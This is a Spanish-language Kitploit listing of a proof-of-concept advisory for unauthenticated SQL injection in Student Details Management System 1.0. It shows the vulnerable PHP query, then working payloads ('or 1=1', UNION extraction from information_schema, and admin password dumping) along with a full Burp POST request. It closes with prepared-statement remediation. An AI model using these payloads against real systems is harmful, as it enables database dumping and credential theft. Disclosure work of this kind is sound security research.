Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-10110-SQLi — Prueba de concepto para inyección SQL no autenticada en Student Details Management System 1.0, que demuestra la extracción de datos basada en UNION y el robo de credenciales. | Kitploit
Herramientas/GitHubGitHub/xmyronn/cve-2026-10110-sqli
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubxmyronn/cve-2026-10110-sqli

CVE-2026-10110-SQLi

Prueba de concepto para inyección SQL no autenticada en Student Details Management System 1.0, que demuestra la extracción de datos basada en UNION y el robo de credenciales.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Sistema de Gestión de Detalles de Estudiantes 1.0 - Inyección SQL (Sin Autenticación)

Información de la Vulnerabilidad

CampoDetalles
ProductoStudent Details Management System
Vendedorcode-projects.org
Versión1.0
Tipo de VulnerabilidadInyección SQL (CWE-89)
ID CVEPendiente
Puntuación CVSS9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Autenticación RequeridaNo
Archivo Afectado/SMS/index.php
Parámetro Vulnerableroll (POST)

Descripción

Existe una vulnerabilidad crítica de inyección SQL en el archivo index.php del Student Details Management System 1.0. El parámetro roll enviado mediante una solicitud POST se concatena directamente en una consulta SQL sin saneamiento, validación de entrada ni uso de sentencias preparadas. Esto permite que un atacante remoto no autenticado inyecte SQL arbitrario y realice extracción de datos basada en UNION, volcando todo el servidor de base de datos, incluidas las tablas de credenciales.

La vulnerabilidad existe en el formulario público de búsqueda de estudiantes y no requiere autenticación alguna.


Código Vulnerable

Archivo: index.php (líneas 51–59)

root@kitploit:~
include('dbcon.php');
if (isset($_POST['show'])) {

    $Standard = $_POST['standard'];
    $RollNo = $_POST['roll'];

    $sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";

    $result = mysqli_query($conn,$sql);

Tanto $Standard como $RollNo se toman directamente de $_POST sin escape ni parametrización. El atacante controla el parámetro roll para salir del contexto de la cadena SQL e inyectar consultas arbitrarias.


Prueba de Concepto

Paso 1 — Confirmar el Comportamiento Normal

Navegue a la página principal de la aplicación e introduzca un número de rollo válido:

root@kitploit:~
http://<TARGET>/SMS/index.php

Introduzca 1001 en el campo de número de rollo → la aplicación devuelve los registros de estudiantes con normalidad.

Screenshot 2026-05-03 220510

Paso 2 — Provocar un Error SQL (Confirmar el Punto de Inyección)

Introduzca una comilla simple ' en el campo de número de rollo y haga clic en SHOW INFO.

Resultado: MariaDB lanza un error fatal que expone la consulta SQL sin procesar y la ruta del archivo:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '"' at line 1 in 
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Screenshot 2026-05-03 220533

Paso 3 — Bypass de Autenticación / Volcado Completo de Tablas

Payload:

root@kitploit:~
' or 1=1 -- -

Resultado: Se devuelven todos los registros de estudiantes de la base de datos sin ningún número de rollo válido, lo que confirma que la inyección es explotable.

Screenshot 2026-05-03 220550

Paso 4 — Extracción Basada en UNION (Enumeración Completa de la Base de Datos)

Solicitud de Burp Suite:

root@kitploit:~
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded

roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO

Resultado: La columna name (posición 3 en el UNION) refleja todos los nombres de tablas de todas las bases de datos de la instancia MySQL, incluidas admin, global_priv, users, mysql.user y tablas de credenciales de otras aplicaciones instaladas en la misma instancia XAMPP.

Screenshot 2026-05-03 220606

Paso 5 — Vía de Escalada de Privilegios

El volcado revela tablas sensibles, incluidas admin, users, global_priv y tbl_admin de otras bases de datos del mismo servidor. Un atacante puede extraer credenciales con:

root@kitploit:~
roll=1' union select null,null,password,null,null,null,null from admin-- -

Combinado con la salida de errores verbosa (Paso 2), también se confirma la divulgación completa de la ruta del archivo:

root@kitploit:~
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php

Impacto

  • Enumeración completa de la base de datos en todos los servidores de la base de datos (no solo la aplicación objetivo)
  • Extracción de credenciales de administrador mediante el volcado de la tabla admin
  • Divulgación completa de la ruta mediante la salida de errores SQL verbosa
  • No se requiere autenticación — explotable por cualquier visitante no autenticado de la página de búsqueda
  • Posible escalada de privilegios a otras aplicaciones que comparten la misma instancia MySQL

Remediación

Utilice sentencias preparadas con parámetros vinculados:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();

Además, desactive la salida de errores verbosa de PHP/MySQL en producción estableciendo display_errors = Off en php.ini.


Referencias

  • Página principal del vendedor
  • CWE-89: Inyección SQL
  • Inyección SQL de OWASP

Descubridor

Investigador: Imad Alvi

Descargar herramienta